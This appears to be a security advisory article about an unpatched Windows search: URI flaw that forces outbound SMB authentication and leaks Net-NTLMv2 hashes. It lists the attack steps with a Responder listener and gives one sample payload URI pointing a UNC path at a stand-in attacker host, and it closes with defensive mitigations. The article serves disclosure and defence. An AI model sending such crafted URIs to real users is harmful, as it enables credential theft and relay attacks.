Exploiting the Windows Search URI Handler: A New Vector for NTLM Credential Leakage

Windows environments are facing a recurring security challenge as researchers uncover a new method to weaponize the search: URI handler for NTLM credential theft. This exploitation pattern is technically analogous to the previously patched CVE-2024-33829 (notably mislabeled in some reports as 2026) involving the Snipping Tool, highlighting a persistent architectural weakness in how Windows processes custom URI schemes.

Technical Breakdown: The Search URI Vulnerability

Recent analysis from Huntress security researchers reveals that the Windows search: URI handler fails to properly sanitize user-supplied parameters. This oversight allows an attacker to force the operating system to initiate outbound SMB authentication requests to a remote, attacker-controlled host.

The vulnerability resides within ExplorerFrame.dll, specifically involving the SearchExecute COM class (CLSID: {90b9bce2-b6db-4fd3-8451-35917ea1081b}). Because both the search: and search-ms: URI schemes utilize the same underlying COM activation path, they share this lack of input validation. Consequently, an attacker can embed a malicious Universal Naming Convention (UNC) path within a crafted URI to trigger an automatic authentication attempt.

When the system attempts to resolve the path, it leaks the user’s Net-NTLMv2 hash. While these hashes are not plaintext passwords, they are highly valuable for:

• NTLM Relay Attacks: Intercepting and forwarding the authentication to another service.
• Offline Cracking: Using brute-force or dictionary attacks against the captured hash.
• Lateral Movement: Gaining a foothold within an enterprise network once credentials are compromised.

Attack Workflow: A Proof of Concept

The attack is remarkably low-friction, requiring no malware installation—just a single user interaction:

1. Listener Setup: The attacker deploys an SMB listener (such as Responder) on a controlled machine.
2. URI Delivery: The victim clicks a link containing a payload like: search:query=test&crumb=location:\\attacker-ip\share
3. Automatic Execution: Windows interprets the location: parameter and attempts to reach the remote UNC path.
4. Credential Leakage: The system performs an NTLM handshake, sending the Net-NTLMv2 hash to the attacker’s listener.
5. Silent Failure: An error dialog appears only after the sensitive data has left the endpoint.

It is important to note that the leakage typically occurs only once per user session, making the initial click the most critical moment in the exploitation chain.

The “Patch Gap” and Defensive Strategy

Currently, this specific variant has not been assigned a CVE and remains unpatched. Microsoft has classified the issue below their standard servicing threshold, meaning it will not be addressed in a routine security update. This creates a significant blind spot for organizations that rely exclusively on CVE-based vulnerability management.

Because the attack requires no file downloads or complex exploit chains, it is highly effective at bypassing traditional signature-based antivirus solutions. The authentication happens silently in the background via legitimate system processes.

Recommended Mitigations

To defend against this class of URI-based NTLM leakage, security teams should implement a layered defense-in-depth strategy:

• Network Egress Filtering: Block outbound SMB traffic (TCP ports 445 and 139) from workstations to the internet. There is rarely a legitimate business reason for an endpoint to initiate SMB connections to an external, untrusted IP.
• Monitor URI Schemes: Audit proxy logs and email gateway traffic for suspicious patterns involving search: and search-ms: protocols.
• Enforce SMB Signing: While it doesn’t prevent the leak, enforcing SMB signing can mitigate the impact of NTLM relay attacks.
• Restrict NTLM: Where possible, use Group Policy to restrict or disable NTLM in favor of more secure protocols like Kerberos, though this must be balanced against the needs of legacy infrastructure.

This vulnerability serves as a stark reminder that CVE disclosures are not exhaustive. Organizations must move toward behavior-based detection—monitoring for the actual movement of credentials and suspicious protocol usage—rather than waiting for a formal patch to secure their environment.